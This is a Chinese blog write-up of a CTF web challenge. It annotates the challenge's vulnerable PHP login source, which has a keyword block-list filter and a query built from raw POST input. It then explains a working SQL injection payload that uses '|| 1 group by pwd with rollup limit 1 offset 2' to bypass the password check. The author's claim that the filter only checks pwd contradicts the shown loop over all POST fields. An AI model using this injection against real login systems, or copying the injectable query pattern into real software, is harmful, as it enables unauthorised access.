CTF实验吧-因缺思汀的绕过【group by,with rollup,limit offset的利用】

版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 3.0 许可协议。转载请注明出处! https://blog.csdn.net/wy_97/article/details/76085575

原题内容:

 

访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。看源码,请求,响应等。提交与题目要求一致的内容即可返回flag。然后提交正确的flag即可得分。web题主要考察SQL注入,XSS等相关知识。涉及方向较多。此题主要涉及源码审计,MySQL相关的知识。

 

flag格式 CTF{}

 

解题链接: http://ctf5.shiyanbar.com/web/pcat/index.php 

 

不得不承认这题是很难也很考验基本功的一道题(我这种基本功差的咸鱼就已经完全做不出来了,只能参考大佬们的答案,反过来推理思路了)

 

首先,大家应该都能看到的,点进链接之后,在查看源代码里可以看到source.txt,进而可以看到出题者想给你看到的源代码

这题的思路应该就是从源码推解题思路,十分考验基本功,,,接下来我就源码来推导出大佬们的答案得出的思路

下面附上个人对源码的注释:

 

<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){#判断是否为数组
        $StrValue=implode($StrValue);#如果是数组,则连接成字符串
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   #只要匹配到就是exciting!/匹配到一次就停/匹配方式就是正则
        print "水可载舟,亦可赛艇!";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ #foreach 可以遍历数组与对象,它会把当前单元的键名也会在每次循环中被赋给变量 $key,值赋给变量$val,
    AttackFilter($key,$value,$filter);
}



$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);



$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); #执行语句
if (mysql_num_rows($query) == 1) { #该函数返回一个整数,表示记录中有多少行数据
    $key = mysql_fetch_array($query);#mysql_fetch_array() 函数从结果集中取得一行作为关联数组,第二个参数,(MYSQL_BOTH - 默认)。同时产生关联和数字数组
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";#很明显,这是重点
    }else{
        print "亦可赛艇!";
    }
}else{
    print "一颗赛艇!";
}
mysql_close($con);




$sql="SELECT * FROM interest WHERE uname = 'uname=ads' || 1 group by pwd with rollup limit 1 offset 2 #'";#答案等效语句,#  ->   注释掉另一个'
?>



从源码可以看到,$filter进行的关键字符筛选仅仅针对$_POST['pwd'],所以第二行一定不能带被其识别的关键字,如:select

 



 

下面就答案反过来解释:

 

uname=ads' || 1 group by pwd with rollup limit 1 offset 2 #

'是对前面的'的封闭,然后利用||1将这个条件变成true过

 

group by,with rollup将pw归纳排序出来,用limit offset取出一条数据(题目判断有要求)

至于为啥offset 2,这个是试出来的,其实我们根本不可能知道with rollup会总结归纳出多少条信息,offset 2能过说明正确的pwd位于第三条信息

各个语句的一些参考资料列在下面,大家可以自行参考,这里不做具体解释了,思路就是这些了,有不懂得地方欢迎一起探讨
 

 

 

http://php.net/manual/zh/function.preg-match.php                           

#函数preg_match

http://blog.csdn.net/id19870510/article/details/6254358                  

#使用 GROUP BY WITH ROLLUP 改善统计性能

http://blog.csdn.net/yplee_8/article/details/52252549                       

#sql 中 limit 与 limit,offset连用的区别

http://www.w3school.com.cn/sql/sql_groupby.asp                            

#SQL GROUP BY 语句

http://blog.csdn.net/jiangnan2014/article/details/17229713              

#MySQL中with rollup的用法

http://php.freehostingguru.com/function.php-is_array.php                

#函数is_array

http://www.w3school.com.cn/php/func_string_implode.asp

#函数 implode

展开阅读全文

没有更多推荐了,返回首页